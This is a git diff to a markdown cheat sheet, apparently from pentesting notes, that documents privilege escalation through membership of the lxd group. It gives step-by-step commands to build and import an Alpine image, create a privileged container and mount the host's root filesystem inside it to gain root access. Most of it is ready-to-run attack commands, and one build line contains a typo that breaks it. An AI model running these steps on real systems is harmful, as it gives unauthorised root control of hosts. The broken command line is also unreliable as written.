diff --git a/Exploits/Containers/LXC.md b/Exploits/Containers/LXC.md index c3edf01..c54bf6d 100644 --- a/Exploits/Containers/LXC.md +++ b/Exploits/Containers/LXC.md @@ -1,4 +1,4 @@ -# LXC +# LXC ## Privilege Escalation @@ -8,17 +8,23 @@ * User has to be in `lxd` group, not necessarily `sudo`. #### Usage -* Clone and build + +* Clone and build + ```sh git clone https://github.com/saghul/lxd-alpine-builder.git cd lxd-alpine-builde && sudo && ./build alpine ``` + * Upload to target * Import alpine image + ```sh lxc image import ./alpine-v3.14-x86_64-20210920_2132.tar.gz --alias myimage ``` + * Prepare image + ```sh lxc image list lxc init myimage ignite -c security.privileged=true @@ -26,7 +32,20 @@ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=tru lxc start ignite lxc exec ignite /bin/sh ``` + * Host `/` is mounted at `/mnt/root` inside the container * `root` directory is at `/mnt/root/root` +## Errors +If you see errors like this + +```sh +Error: No storage pool found. Please create a new storage pool +``` + +Remember to initialize the lxd via + +```sh +lxd init +```